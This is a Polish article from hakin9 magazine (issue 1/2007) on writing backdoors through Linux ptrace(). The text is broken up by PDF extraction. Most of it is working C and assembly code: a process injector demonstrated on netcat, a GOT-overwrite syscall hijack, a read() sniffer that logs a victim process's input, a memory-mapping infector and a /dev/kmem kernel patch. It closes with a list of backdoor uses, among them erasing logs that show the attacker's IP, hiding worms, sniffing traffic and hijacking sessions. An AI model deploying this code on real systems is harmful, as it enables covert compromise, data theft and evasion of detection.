Gdy proces nadrzędny zakoń-
czy śledzenie, może przerwać pro-
ces potomny przez
PTRACE _ KILL
,
albo nakazać kontynuację wykony-
wania w normalnym, nie śledzonym
trybie, przez
PTRACE _ DETACH
. War-
tość podana jako „request ” okre-
śla akcję, jaka ma być podjęta:
PTRACE _ TRACEME
– oznacza, że ten
proces ma być śledzony przez pro-
ces nadrzędny. Każdy sygnał (po-
za
SIGKILL
) dostarczony do proce-
su spowoduje zatrzymanie, a pro-
ces nadrzędny będzie notyfikowa-
ny w
wait()
. Również każde na-
stępne wywołanie
exec
...
()
przez
ten proces spowoduje dostarczenie
SIGTRAP, umożliwiając procesowi
nadrzędnemu przejęcie kontroli za-
nim nowy program zacznie się wy-
konywać. Proces raczej nie powi-
nien wykonać takiego żądania, jeśli
proces nadrzędny nie oczekuje, że
będzie go śledzić (pid, addr i data
są ignorowane). To powyższe żą-
danie jest używane tylko przez pro-
ces potomny; pozostałe są używa-
ne tylko przez proces nadrzędny.
W pozostałych żądaniach pid okre-
śla proces potomny, na którym na-
leży działać. Dla żądań innych, niż
Listing 1.
Przykładowy ptrace()-owy wstrzykiwacz
#include
<stdio.h>
#include
<stdlib.h>
#include
<unistd.h>
#include
<asm/unistd.h>
#include
<asm/user.h>
#include
<signal.h>
#include
<sys/stat.h>
#include
<sys/wait.h>
#include
<errno.h>
#include
<linux/ptrace.h>
asm
(
"MY_BEGIN:
\n
"
"call para_main
\n
"
);
/* oznaczamy początek kodu pasożyta */
char
*
getstring
(
void
)
{
asm
(
"call me
\n
"
"me:
\n
"
"popl %eax
\n
"
"addl $(MY_END - me), %eax
\n
"
);
}
void
para_main
(
void
)
{
/* tu się zaczyna główny kod pasożyta
* wpisz co ci się podoba...
* to jest tylko przykład
*/
asm
(
"
\n
"
"movl $1, %eax
\n
"
"movl $31337, %ebx
\n
"
"int $0x80
\n
"
"
\n
"
);
/*
* wykonujemy exit(31337);
* tylko po to, żeby było to widać na strace...
*/
}
asm
(
"MY_END:"
);
/* tu kończy się zawartość pasożyta */
char
*
GetParasite
(
void
)
/* umieść pasożyta */
{
asm
(
"call me2
\n
"
"me2:
\n
"
"popl %eax
\n
"
"subl $(me2 - MY_BEGIN), %eax
\n
"
"
\n
"
);
}
int
PARA_SIZE
(
void
)
{
asm
(
"movl $(MY_END-MY_BEGIN), %eax
\n
"
);
/* weź rozmiar pasożyta */
}
int
main
(
int
argc
,
char
*
argv
[])
{
int
parasize
;
int
i
,
a
,
pid
;
char
inject
[
8000
];
struct
user_regs_struct
reg
;
printf
(
"
\n
[Przykladowy wtryskiwacz ptrace]
\n
"
);
if
(
argv
[
1
]
==
0
)
{
printf
(
"[usage: %s [pid] ]
\n\n
"
,
argv
[
0
]);
exit
(
1
);
}
pid
=
atoi
(
argv
[
1
]);
parasize
=
PARA_SIZE
();
/* liczymy rozmiar */
while
((
parasize
%
4
)
!=
0
)
parasize
++;
/* tworzymy kod do wstrzyknięcia */
{
memset
(&
inject
,
0
,
sizeof
(
inject
));
memcpy
(
inject
,
GetParasite
()
,
PARA_SIZE
());
if
(
ptrace
(
PTRACE_ATTACH
,
pid
,
0
,
0
)
<
0
)
/* podłącz się do procesu */
{
hakin9 Nr 1/2007
www.hakin9.org
Atak
14
PTRACE _ KILL
, proces potomny musi
być zatrzymany.
PTRACE _ PEEKTEXT
,
PTRACE _
PEEKDATA
– czyta słowo spod lo-
kacji addr w pamięci procesu po-
tomnego, zwracając je jako rezul-
tat
ptrace()
. Linux nie umieszcza
segmentu kodu i segmentu danych
w osobnych przestrzeniach adre-
sowych, więc te dwa wywołania są
aktualnie równoważne (argument
data jest ignorowany).
PTRACE _ PEEKUSR
– czyta sło-
wo spod przesunięcia addr w prze-
strzeni
USER
procesu potomnego,
który trzyma rejestry i inne informa-
cje o procesie (patrz
<linux/user.h>
i
<sys/user.h>
. Słowo jest zwracane
jako rezultat
ptrace()
. Zwykle prze-
sunięcie musi być wyrównane do
pełnego słowa, może się więc to róż-
nić na różnych architekturach (data
jest ignorowane).
PTRACE _ POKETEXT,
PTRACE _
POKEDATA
– kopiuje słowo spod „da-
ta” do lokacji addr w pamięci proce-
su. Jak wyżej, oba te wywołania są
równoważne.
PTRACE _ POKEUSR
– kopiuje słowo
z data pod przesunięcie addr w prze-
strzeni
USER
procesu potomnego. Jak
wyżej, przesunięcie musi być wyrów-
nane do pełnego słowa. W celu za-
pewnienia spójności jądra, niektóre
modyfikacje w obszarze
USER
są nie-
dozwolone.
PTRACE _ GETREGS
,
PTRACE _
GETFPREGS
– kopiuje odpowiednio re-
jestry ogólnego przeznaczenia lub
rejestry zmiennoprzecinkowe pro-
cesu potomnego do lokacji data w
procesie potomnym. Zobacz
<linux/
user.h>
w celu uzyskania informacji
na temat formatu tych danych (addr
jest ignorowane).
PTRACE _ SETREGS
,
PTRACE _
SETFPREGS
– kopiuje odpowiednio re-
jestry ogólnego przeznaczenia lub
zmiennoprzecinkowe z lokacji data
w procesie nadrzędnym. Podobnie,
jak w
PTRACE _ POKEUSER
, modyfikacja
niektórych rejestrów ogólnego prze-
znaczenia może być niedozwolona
(addr jest ignorowany).
PTRACE _ CONT
– wznawia wyko-
nywanie zatrzymanego procesu
potomnego. Jeśli wartość data jest
Listing 1a.
Przykładowy ptrace()-owy wstrzykiwacz
Przetestujmy to na terminalu (A):
server
:
~#
gcc
ptrace
.
c
-
W
server
:
~#
nc
-
lp
1111
&
[
1
]
7314
server
:
~# ./
a
.
out
7314
[
Przykladowy
wtryskiwacz
ptrace
]
+
attached
to
proccess
id
:
7314
-
sending
stop
signal
..
+
proccess
stopped
.
-
calculating
parasite
injection
size
..
+
Parasite
is
at
:
0x400fa276
-
detach
..
+
finished
!
server
:
~#
A teraz na terminalu (B), pokażemy strace-m proces Netcat:
gw1
:
~#
strace
-
p
7314
Process
7314
attached
-
interrupt
to
quit
accept(3,
Wracamy na terminal A i podłączamy się pod zainfekowany proces
Netcat:
server
:
~#
nc
-
v
localhost
1111
localhost
[
127.0
.
0.1
]
1111
(
?
)
open
[
1
]+
Exit
105
nc
-
lp
1111
server
:
~#
Sprawd
ź
my
teraz
,
co
napisa
ł
strace
na
terminalu
B
:
accept
(
3
,
{
sa_family
=
AF_INET
,
sin_port
=
htons
(
35261
)
,
sin_addr
=
inet_addr
(
"127.0.0.1"
)
}
,
[
16
])
=
4
_exit
(
31337
)
=
?
Process
7314
detached
server
:
~#
Listing 1b.
Prosty wstrzykiwacz ptrace()
printf
(
"cant attach to pid %d: %s
\n
"
,
pid
,
strerror
(
errno
));
exit
(
1
);
}
printf
(
"+ attached to proccess id: %d
\n
"
,
pid
);
printf
(
"- sending stop signal..
\n
"
);
kill
(
pid
,
SIGSTOP
);
/* zatrzymaj proces*/
waitpid
(
pid
,
NULL
,
WUNTRACED
);
printf
(
"+ proccess stopped.
\n
"
);
ptrace
(
PTRACE_GETREGS
,
pid
,
0
,
&
reg
);
/* pobierz rejestry */
printf
(
"- calculating parasite injection size..
\n
"
);
for
(
i
=
0
;
i
<
parasize
;
i
+=
4
)
/* wrzuć kod pasożyta pod %eip */
{
int
dw
;
memcpy
(&
dw
,
inject
+
i
,
4
);
ptrace
(
PTRACE_POKETEXT
,
pid
,
reg
.
eip
+
i
,
dw
);
}
printf
(
"+ Parasite is at: 0x%x
\n
"
,
reg
.
eip
);
printf
(
"- detach..
\n
"
);
ptrace
(
PTRACE_CONT
,
pid
,
0
,
0
);
/* wznów proces potomny */
Pisanie własnych furtek
hakin9 Nr 1/2007
www.hakin9.org
15
niezerowa i nie
SIGSTOP
, jest inter-
pretowana jako sygnał, który nale-
ży dostarczyć do procesu; w prze-
ciwnym razie nie jest dostarcza-
ny żaden sygnał. W ten sposób,
na przykład, proces potomny mo-
że kontrolować, czy sygnał wysła-
ny do procesu potomnego był do-
starczony, czy nie (addr jest igno-
rowane).
PTRACE _ SYSCALL
,
PTRACE _ SINGLE
-
STEP
– wznawia wykonywanie zatrzy-
manego procesu potomnego, jak dla
PTRACE _ CONT
, ale zarządza, że pro-
ces potomny będzie zatrzymany od-
powiednio przy następnym wejściu
lub wyjściu z wywołania systemo-
wego, albo wywołaniu pojedynczej
instrukcji (proces potomny zatrzy-
ma się też, jak zwykle, po otrzyma-
niu sygnału). Z punktu widzenia pro-
cesu nadrzędnego, proces potom-
ny będzie wyglądał, jakby został za-
trzymany przez otrzymanie
SIGTRAP
.
Zatem P
TRACE _ SYSCALL
można użyć
w ten sposób, że sprawdzamy argu-
menty przesłane do wywołania sys-
temowego przy pierwszym wołaniu,
a następnie dokonujemy następne-
go
PTRACE _ SYSCALL
i sprawdzamy
wartość zwróconą przez wywołanie
systemowe w następnym zatrzyma-
niu (addr jest ignorowane).
PTRACE _ KILL
– wysyła
SIGKILL
procesowi potomnemu powodując
jego zakończenie (addr i data są
ignorowane).
PTRACE _ ATTACH
– dołącza się do
procesu podanego jako pid, powo-
dując że ten proces staje się śle-
dzonym procesem potomnym dla
bieżącego procesu, czyli tak, jak-
by ten „potomny” proces wyko-
nał
PTRACE _ TRACEME
. Bieżący pro-
ces staje się w istocie procesem
nadrzędnym tego potomnego pro-
cesu dla niektórych zastosowań
(np. będzie dostawał notyfikacje
zdarzeń procesu potomnego i bę-
dzie widoczny w raporcie ps(1) ja-
ko proces nadrzędny tego proce-
su, ale getppid(2) w procesie po-
tomnym będzie wciąż zwracać pid
oryginalnego procesu nadrzędne-
go. Proces potomny dostaje sygnał
SIGSTOP
, ale niekoniecznie zatrzy-
ma się na tym wywołaniu; należy
Listing 3.
Przykład sys_write
int
patched_syscall
(
int
fd
,
char
*
data
,
int
size
)
{
// pobieramy wszystkie parametry ze stosu, deskryptor umieszczony
// pod 0x8(%esp), dane pod 0xc(%esp), a rozmiar pod 0x10(%esp)
asm
(
"
movl
$
4
,
%
eax
# oryginalne wywołanie systemowe
movl
$
0x8
(%
esp
)
,
%
ebx
# fd
movl
$
0xc
(%
esp
)
,
%
ecx
# dane
movl
$
0x10
(%
esp
)
,
%
edx
# rozmiar
int
$
0x80
// po wywołaniu przerwania, wartość zwracana zostanie zapisana w %eax
// jeśli chcesz dodać kod za oryginalnym wywołaniem systemowym
// należy zapamiętać gdzie indziej %eax i przywrócić
na końcu
// nie wstawiaj instrukcji 'ret' na koniec!
"
)
Listing 2.
Rzut oka na tablicę GOT
[
root
@
hal
/
root
]
# objdump -R /usr/sbin/httpd |grep read
08086
b5c
R_386_GLOB_DAT
ap_server_post_read_config
08086
bd0
R_386_GLOB_DAT
ap_server_pre_read_config
08086
c0c
R_386_GLOB_DAT
ap_threads_per_child
080869
b0
R_386_JUMP_SLOT
fread
08086
b24
R_386_JUMP_SLOT
readdir
08086
b30
R_386_JUMP_SLOT
read
<--
tu
mamy
nasz
ą
read
()
[
root
@
hal
/
root
]
#
Listing 4.
Kod z infektora Ii, znaleziony w internecie, do przydzielania
potrzebnej pamięci
void
infect_code
()
{
asm
(
"
xorl %eax,%eax
push %eax # offset = 0
pushl $-1 # no fd
push $0x22 # MAP_PRIVATE|MAP_ANONYMOUS
pushl $3 # PROT_READ|PROT_WRITE
push $0x55 # mmap() przydziela 1000 bajtów domyślnie, więc
# jeśli potrzeba więcej, oblicz potrzebny rozmiar.
pushl %eax # start addr = 0
movl %esp,%ebx
movb $45,%al
addl $45,%eax # mmap()
int $128
ret
"
);
}
Listing 1c.
Prosty wstrzykiwacz ptrace()
ptrace
(
PTRACE_DETACH
,
pid
,
0
,
0
);
/* odłącz się od procesu */
printf
(
"+ finished!
\n\n
"
);
exit
(
0
);
}
}
hakin9 Nr 1/2007
www.hakin9.org
Atak
16
użyć wait() w celu zaczekania, aż
proces potomy się zatrzyma (addr i
data są ignorowane).
PTRACE _ DETACH
– wznawia zatrzy-
many proces potomny, jak dla
PTRACE _
CONT
, ale uprzednio odłącza się od
procesu, cofając efekt zmiany rodzi-
ca wywołany przez
PTRACE _ ATTACH
i
efekt wywołania
PTRACE _ TRACEME
. Mi-
mo, że niekoniecznie o to może cho-
dzić, pod Linuksem śledzony proces
potomny może zostać odłączony w
ten sposób, niezależnie od metody
użytej do rozpoczęcia śledzenia (addr
jest ignorowany).
Dobrze, nie martw się, nie musisz
wszystkiego rozumieć już teraz. Po-
każę Ci niektóre zastosowania póź-
niej w tym artykule.
Praktyczne
zastosowania
wywołania ptrace()
Zwykle
ptrace()
jest stosowane do
śledzenia procesów w celach debu-
gowych. Może być całkiem poręcz-
ne. Programy strace i ltrace używa-
ją wywołań
ptrace()
do śledzenia
wykonujących się procesów. Jest
parę interesujących i użytecznych
programów na sieci i możesz po-
szukać Googlem jakichś progra-
mów w akcji.
Czym są pasożyty
Pasożyty są to nie replikowane sa-
modzielnie kody, które wstrzykuje
się do programów przez zainfeko-
wanie ELF-a lub bezpośrednio do
pamięci procesu w czasie jego wy-
konywania, przez
ptrace()
. Główna
różnica zasadza się tu na tym, że in-
fekcja
ptrace()
nie jest rezydentna,
podczas gdy infekcja ELF-a zaraża
plik binarny podobnie jak wirus i po-
zostaje tam nawet po restarcie sys-
temu. Pasożyt wstrzyknięty przez
ptrace()
rezyduje tylko w pamięci,
zatem jeśli proces, na przykład, do-
stanie
SIGKILL
-a, pasożyt wyciągnie
nogi wraz z nim. Ponieważ
ptrace()
jest stosowany do wstrzykiwania ko-
du w trakcie wykonywania procesu,
zatem w oczywisty sposób nie bę-
dzie to kod rezydentny.
Klasyczne
wstrzyknięcie ptrace()
Ptrace()
potrafi obserwować i kon-
trolować wykonanie innego procesu.
Jest również władny zmieniać jego
rejestry. Skoro można zatem zmie-
niać rejestry innego procesu, jest to
nieco oczywiste, dlaczego może być
użyty do eksploitów. Oto przykład
starej dziury
ptrace()
w starym ją-
drze Linuksa.
Jądra Linuxa przed 2.2.19 mia-
ły błąd pozwalający uzyskać lokal-
nie roota i większość ludzi używa-
jących tego jądra mogła jeszcze go
nie poprawić. W każdym razie ta
dziura wykorzystuje sytuację wyści-
gu w jądrze Linuksa 2.2.x wewnątrz
wywołania systemowego
execve()
.
Wstrzymując proces potomny
przez
sleep()
wewnątrz
execve()
,
atakujący może użyć
ptrace()
lub
podobnych mechanizmów do prze-
jęcia kontroli nad procesem potom-
nym. Jeśli proces potomny ma se-
tuid, atakujący może użyć procesu
potomnego do wykonania dowolne-
go kodu na podkręconych prawach.
Znanych jest też kilka innych pro-
blemów bezpieczeństwa związa-
nych z
ptrace()
w jądrze Linuxa
Rysunek 1.
Ściągnięcie i kompilacja wstrzykiwacza
Listing 5.
Przykład, czego potrzeba do funkcji infect_code()
ptrace
(
PTRACE_GETREGS
,
pid
,
&
reg
,
&
reg
);
ptrace
(
PTRACE_GETREGS
,
pid
,
&
regb
,
&
regb
);
reg
.
esp
-=
4
;
ptrace
(
PTRACE_POKETEXT
,
pid
,
reg
.
esp
,
reg
.
eip
);
ptr
=
start
=
reg
.
esp
-
1024
;
reg
.
eip
=
(
long
)
start
+
2
;
ptrace
(
PTRACE_SETREGS
,
pid
,
&
reg
,
&
reg
);
while
(
i
<
strlen
(
sh_code
))
{
ptrace
(
PTRACE_POKETEXT
,
pid
,
ptr
,
(
int
)
*(
int
*)(
sh_code
+
i
));
i
+=
4
;
ptr
+=
4
;
}
printf
(
"trying to allocate memory
\n
"
);
ptrace
(
PTRACE_SYSCALL
,
pid
,
0
,
0
);
ptrace
(
PTRACE_SYSCALL
,
pid
,
0
,
0
);
ptrace
(
PTRACE_SYSCALL
,
pid
,
0
,
0
);
ptrace
(
PTRACE_GETREGS
,
pid
,
&
reg
,
&
reg
);
ptrace
(
PTRACE_SYSCALL
,
pid
,
0
,
0
);
printf
(
"new memory region mapped to..: 0x%.8lx
\n
"
,
reg
.
eax
);
printf
(
"backing up registers...
\n
"
);
ptrace
(
PTRACE_SETREGS
,
pid
,
&
regb
,
&
regb
);
printf
(
"dynamical mapping complete!
\n
"
,
pid
);
ptrace
(
PTRACE_DETACH
,
pid
,
0
,
0
);
return
reg
.
eax
;
Pisanie własnych furtek
hakin9 Nr 1/2007
www.hakin9.org
17
przed 2.2.19 i po, które oznaczo-
no już jako rozwiązane, ale wielu
administratorów nie założyło jesz-
cze łat, więc te błędy mogą wciąż
istnieć na wielu systemach. Podob-
ny problem istnieje w 2.4.x – sytu-
acja wyścigu w
kernel/kmod.c
, któ-
ry tworzy wątek jądra w sposób na-
rażający bezpieczeństwo.
Ten błąd pozwala
ptrace()
-ować
sklonowane procesy, przez co moż-
na przejąć kontrolę nad uprzywile-
jowanymi binariami. Załączam kod
eksploita na tą dziurę jako Proof
of Concept (patrz Listing 9). To był
drobny przykład, jak użyć
ptrace
()
do poszerzania uprawnień. A, no
cóż, myślę, że na razie mały przy-
kład ze wstrzykiwaniem, i wystar-
czy jak na nasz pierwszy przykła-
dowy kod. Zatem, oto ten przykład,
prosty
ptrace()
-owy wstrzykiwacz
(Listingi 1 i 2).
Jak widać, działa! Dobrze, wystar-
czy jak na tą część. To jest wstrzyki-
wanie przez
ptrace().
Przejdźmy te-
raz do bardziej zaawansowanych
technik związanych z tą funkcją. W ra-
zie wątpliwości, możesz przeczytać
ten artykuł jeszcze raz od początku
i pobawić się z załączonym przykła-
dem, po prostu w celu pełnego zrozu-
mienia, o co w tym chodzi, co jest wy-
magane w pozostałej części artykułu,
jeśli chcesz zrozumieć
ptrace()
.
Nadpisywanie
funkcji przez ptrace()
Ta technika jest nieco bardziej za-
awansowana i takoż użyteczna – nad-
pisywanie funkcji za pomocą ptrace().
Na pierwszy rzut oka wygląda tak sa-
mo, jak wstrzykiwanie przez ptrace(),
ale faktycznie jest trochę inne. Zwykle
wstrzykujemy nasz kod powłokowy do
procesu. Wstawiamy to na stos i zmie-
niamy parę rejestrów. Jest to więc tro-
chę ograniczone i jednorazowego
użytku. Jeśli jednak załatamy wywo-
łania systemowe w przestrzeni jądra,
będzie to jak zaimportowanie dzielo-
nej funkcji, która wykonuje te same
akcje, co prawdziwe wywołanie sys-
temowe. Globalna Tablica Przesunięć
(GOT) podaje nam lokację wywołania
systemowego w pamięci, gdzie bę-
dzie to zamapowane po załadowaniu.
Najprościej można to odczytać przez
objdump, wystarczy wygrepować z te-
go relokację wywołania systemowe-
go. Rzućmy okiem na Listing 2.
Za każdym razem, gdy proces
chce wywołać
read()
, woła adres
POD 08086b30. Pod 08086b30 jest
inny adres, który wskazuje na fak-
tyczną read. Jeśli wpiszesz inny adres
pod 08086b30, następnym razem, jak
proces zawoła
read()
, skoczy zupeł-
nie gdzie indziej. Jeśli zrobisz:
movl $0x08086b30, %eax
movl $0x41414141, (%eax)
to następnym razem, gdy zostanie za-
wołana
read()
, zainfekowany proces
Listing 7a.
Drobna funkcja pobierająca segment kodu docelowego
procesu
int
get_textsegment
(
int
pid
,
int
*
size
)
{
Elf32_Ehdr
ehdr
;
char
buf
[
128
];
FILE
*
input
;
int
i
;
snprintf
(
buf
,
sizeof
(
buf
)
,
"/proc/%d/exe"
,
pid
);
if
(!(
input
=
fopen
(
buf
,
"rb"
)))
return
(-
1
);
if
(
fread
(&
ehdr
,
sizeof
(
Elf32_Ehdr
)
,
1
,
input
)
!=
1
)
Listing 6.
Przykład sniffera read()
#
define
LOGFILE
"/tmp/read.sniffed"
asm
(
"INJECT_PAYLOAD_BEGIN:"
);
int
Inject_read
(
int
fd
,
char
*
data
,
int
size
)
{
asm
(
"
jmp DO
DONT:
popl %esi # pobierz adres pliku logowania
xorl %eax, %eax
movb $3, %al # wywołaj read()
movl 8(%esp), %ebx # ebx: fd
movl 12(%esp),%ecx # ecx: data
movl 16(%esp),%edx # edx: size
int $0x80
movl %eax, %edi # zachowaj wartość zwracaną przez funkcję w %edi
movl $5, %eax # wywolaj open()
movl %esi, %ebx # LOGFILE
movl $0x442, %ecx # O_CREAT|O_APPEND|O_WRONLY
movl $0x1ff, %edx # prawa dostępu 0777
int $0x80
movl %eax, %ebx # ebx: fd przez następne dwa wywołania
movl $4, %eax # write() zapis do logu
movl 12(%esp),%ecx # wskaźnik na dane
movl %edi, %edx # wartość zwrócona z read - ilość przeczytanych bajtów
int $0x80
movl $6, %eax # zgadnij :P
int $0x80
movl %edi, %eax # zwróć %edi
jmp DONE
DO:
call DONT
.ascii
\"
"
LOGFILE
"
\"
.byte 0x00
DONE:
"
);
}
asm
(
"INJECT_P_END:"
);
hakin9 Nr 1/2007
www.hakin9.org
Atak
18
naruszy segmentację na 0x41414141.
Uzbrojeni w tą wiedzę możemy pójść
krok dalej. Pomyślmy o możliwo-
ściach, jakie mamy. Ponieważ jeste-
śmy w stanie nadpisać dowolną funk-
cję w locie, możemy wstawiać różne
furtki do uruchomionych procesów.
Możemy całkowicie kontrolować
przepływ wykonania np. daemona,
przejmować wywołania systemowe,
zmieniać wartości zwracane lub lo-
gować dane. Najpierw potrzebujemy
jednak pewnej przestrzeni na furtkę.
Mamy ok. 240 bajtów nieużywanej
przestrzeni pamięci pod 0x8048000.
Przestrzeń ta jest zajmowana przez
nagłówki ELF-a, które nie są używa-
ne podczas wykonywania. Możesz
po prostu zmienić te dane i wrzucić
co ci się podoba do tej przestrzeni
i nic się nie stanie. Zatem zamiast
niszczyć dane przez wstrzykiwanie
ładunku pod
%eip
, możemy wrzucić
to właśnie tam, albo chociaż paso-
żyta inicjatywnego, który zaciągnie
później większego pasożyta.
Przejmowanie
wywołań systemowych
Segment .text zawiera nagłówki pro-
gramu ELF i inne informacje, któ-
re są używane tylko do inicjaliza-
cji. Po załadowaniu procesu, ten
nagłówek jest już nieużywany i mo-
żemy bezpiecznie go nadpisać na-
szym kodem. Do pobrania począt-
kowej pozycji tej sekcji trzeba spraw-
dzić
p _ vaddr
. Sekcja ta ma ustalony
rozmiar; wykonując proste obliczenia
mamy nasz wzór:
największy_możliwy_rozmiar
=sizeof(e_hdr)+sizeof(p_hdr)
*liczba_p_headerów
To mało, ale wystarczy na nasz
schludny kod asemblera. Przy pod-
mienianiu wywołania systemowe-
go powinniśmy zachować oryginal-
ne wywołanie. Naszą implemen-
tację powinniśmy napisać tak, że-
by zachowywała się jak oryginał.
Poniżej przedstawiona jest część
kodu, która nadpisze wybrane wy-
wołanie systemowe wybranego pro-
cesu. Przykład z
sys _ write
jest
pokazany na Listingu 3.
Listing 7b.
Drobna funkcja pobierająca segment kodu docelowego
procesu
goto
end
;
/*
* czytamy nagłówek ELF + kilka kalkulacji
*/
*
size
=
sizeof
(
Elf32_Ehdr
)
+
ehdr
.
e_phnum
*
sizeof
(
Elf32_Phdr
);
if
(
fseek
(
input
,
ehdr
.
e_phoff
,
SEEK_SET
)
!=
0
)
goto
end
;
for
(
i
=
0
;
i
<
ehdr
.
e_phnum
;
i
++)
{
Elf32_Phdr
phdr
;
if
(
fread
(&
phdr
,
sizeof
(
Elf32_Phdr
)
,
1
,
input
)
!=
1
)
goto
end
;
if
(
phdr
.
p_offset
==
0
)
{
fclose
(
input
);
return
phdr
.
p_vaddr
;
}
}
end
:;
fclose
(
input
);
return
(-
1
);
}
/*
Teraz wywołanie naszej funkcji z main()
*/
if
((
textseg
=
get_textsegment
(
pid
,
&
size
))
==
-
1
)
{
fprintf
(
stderr
,
"unable to locate pid %d
\'
s text segment address (%s)
\n
"
,
"
nie
odnaleziono
dla
pid
%
d
\
s
'
adresu
bufora
tekstowego
%
s
\
n
pid
,
strerror
(
errno
));
return
(-
1
);
}
/*
teraz musimy określić rozmiar kodu wstawianego,
* nie może on (dla bezpieczeństwa) przekroczyć 244 bajtów!
*/
if
(
inject_parasite_size
()
>
size
)
{
// validate the size
fprintf
(
stderr
,
"Twoj pasozyt jest zbyt duzy. Zoptymizuj go!"
);
return
(-
1
);
}
/*
readgot jest funkcją, która zwróci nam globalny adres read() z tablicy
adresów.
objdump twoim przyjacielem, więc można napisać
funkcyjkę, która używa objdump by otrzymać GOT.
Jeśli jesteś leniwy, możesz dostarczyć GOT w argv[2] lub
zastosować inne rozwiązanie. Ten punkt pozostawiamy jako ćwiczenie
dla zainteresowanego użytkownika
*/
snprintf
(
buf
,
sizeof
(
buf
)
,
"/proc/%d/exe"
,
pid
);
if
((
readgot
=
got
(
buf
,
"read"
))
<
0
)
{
// grab read's GOT addy
fprintf
(
stderr
,
"Unable to extract read()
\'
s GOT address
\n
"
);
return
(-
1
);
}
/*
wstrzykniecie pasożyta do segmentu kodu
*/
if
(
inject
(
pid
,
textseg
,
inject_parasite_size
()
,
inject_parasite_ptr
())
<
0
)
{
fprintf
(
stderr
,
" Wstrzykniecie nieudane! (%s)
\n
"
,
strerror
(
errno
));
return
(-
1
);
}
/*
nadpisz globalny offset funkcji read w tablicy adresów
*/
if
(
inject
(
pid
,
readgot
,
4
,
(
char
*)
&
textseg
)
<
0
)
{
fprintf
(
stderr
,
" Nieudane wstrzykniecie rekordu GOT! (%s)
\n
"
,
strerror
(
errno
));
return
(-
1
);
}
Pisanie własnych furtek
hakin9 Nr 1/2007
www.hakin9.org
19
Na szczęście nie musimy się
martwić stosem wywołań i zerami
w kodzie; nasze podmienione wy-
wołanie systemowe żyje wewnątrz
procesu i znów, niestety, miejsce na
nasz kod jest ograniczone. Spójrz-
my na informacje, jakie mamy, że-
by skonstruować nasz nadpisywacz
funkcji:
• sam proces i jego ID;
• funkcja, która ma być naszą furt-
ką;
• adres funkcji z Globalnej Tablicy
Przesunięć;
• adres segmentu .text;
• nasza implementacja funkcji furt-
kowej.
Przełamywanie
ograniczenia rozmiaru
Jak powiedziałem, nagłówki ELF
zajmują ok. 244 bajty i to jest za
mało na dużą furtkę, zatem usiło-
wałem wymyślić sposób na zaim-
plementowanie znacznie większej
furtki.
Pierwszym pomysłem jest przy-
dział dynamicznej pamięci:
• wstaw na stos kod, który zama-
puje nowy obszar pamięci (za po-
mocą
mmap()
);
• pobierz wskaźnik do zamapowa-
nej pamięci;
• użyj
inject()
do wstawienia two-
jego kodu do pamięci przydzielo-
nej dynamicznie, ale zamiast ad-
resu segmentu .text użyj zama-
powanej pamięci.
sh_code = malloc(strlen((char*)
infect_code) +4);
strcpy(sh_code,(char *) infect_code);
reg.eax = infect_ptrace(pid);
Żeby zaalokować pamięć bez wyko-
nywania stosu, można lekko zmodyfi-
kować schemat:
• nadpisz pozycję segmentu .text
przez
infect _ code()
. Nie zapo-
mnij dodać oryginalne read.
• odwołaj się do oryginalnego
read()
, po czym zachowaj zwró-
coną wartość. Jeśli np. stawiasz
furtkę na Netcat, należy się
Listing 8a.
Łata na jądro umożliwiająca ptrace() na init
#define _GNU_SOURCE
#include
<asm/unistd.h>
#include
<sys/types.h>
#include
<sys/stat.h>
#include
<unistd.h>
#include
<string.h>
#include
<stdlib.h>
#include
<stdio.h>
#include
<fcntl.h>
int
kmem_fd
;
/* low level utility subroutines */
void
read_kmem
(
off_t
offset
,
void
*
buf
,
size_t
count
)
{
if
(
lseek
(
kmem_fd
,
offset
,
SEEK_SET
)
!=
offset
)
{
perror
(
"lseek(kmem)"
);
exit
(
1
);
}
if
(
read
(
kmem_fd
,
buf
,
count
)
!=
(
long
)
count
)
{
perror
(
"read(kmem)"
);
exit
(
2
);
}
}
void
write_kmem
(
off_t
offset
,
void
*
buf
,
size_t
count
)
{
if
(
lseek
(
kmem_fd
,
offset
,
SEEK_SET
)
!=
offset
)
{
perror
(
"lseek(kmem)"
);
exit
(
3
);
}
if
(
write
(
kmem_fd
,
buf
,
count
)
!=
(
long
)
count
)
{
perror
(
"write(kmem)"
);
exit
(
4
);
}
}
#define GCC_295 2
#define GCC_3XX 3
#define BUFSIZE 256
int
main
(
void
)
{
int
kmode
,
gcc_ver
;
int
idt
,
int80
,
sct
,
ptrace
;
char
buffer
[
BUFSIZE
]
,
*
p
,
c
;
if
(
(
kmem_fd
=
open
(
"/dev/kmem"
,
O_RDWR
)
)
<
0
)
{
dev_t
kmem_dev
=
makedev
(
1
,
2
);
perror
(
"open(/dev/kmem)"
);
if
(
mknod
(
"/tmp/kmem"
,
0600
|
S_IFCHR
,
kmem_dev
)
<
0
)
{
perror
(
"mknod(/tmp/kmem)"
);
return
(
16
);
}
if
(
(
kmem_fd
=
open
(
"/tmp/kmem"
,
O_RDWR
)
)
<
0
)
{
perror
(
"open(/tmp/kmem)"
);
return
(
17
);
}
unlink
(
"/tmp/kmem"
);
}
asm
(
"sidt %0"
:
"=m"
(
buffer
)
);
idt
=
*(
int
*)(
buffer
+
2
);
hakin9 Nr 1/2007
www.hakin9.org
Atak
20
potem podłączyć do niego i wy-
słać jakieś dane, żeby wymusić
zawołanie podmienionego
read()
;
• następnym wywołaniem będzie
mmap()
, które przydzieli pamięć.
Pobierz wartość zwróconą i użyj
jej w
inject()
.
•
inject()
jest prostą funkcją wstrzy-
kiwania
ptrace()
. Mały przykład,
czego potrzeba do
infect _ code()
po podłączeniu się do procesu,
pokazano na Listingu 5.
Teraz możemy implementować furtki
niemal nieograniczonego rozmiaru,
możemy zatem wstrzykiwać znacz-
nie bardziej zaawansowany kod do
procesu.
Co możemy
Co możemy zrobić uzbrojeni w tą
wiedzę? W sumie jest to to samo, co
standardowe nadpisywanie funkcji
(jeśli jesteś już z tym oswojony), tak
jak używaliśmy
ptrace()
do nadpisa-
nia i wstrzykiwania kodu. Popaprzmy
na parę podstawowych możliwości:
• zmiana wartości zwracanej, np.
udawane wiadomości z loga itp.;
• usuwanie plików (wiadomości z
loga), które mogłyby odkryć IP
atakującego itd.;
• ukrywanie plików, np. wirusów
i robaków, czy zaszyfrowanych
wiadomości w procesie;
• nasłuchiwanie (snifowanie) lub
logowanie komunikacji;
• uruchamianie powłoki do połą-
czenia lub łączenie się w drugą
stronę;
• przejmowanie sesji;
• zmienianie znaczników czasu lub
sum md5.
Jak widać, mamy do dyspozycji cały
wachlarz metod stawiania furtek. Co
ważne, możesz kontrolować całą ko-
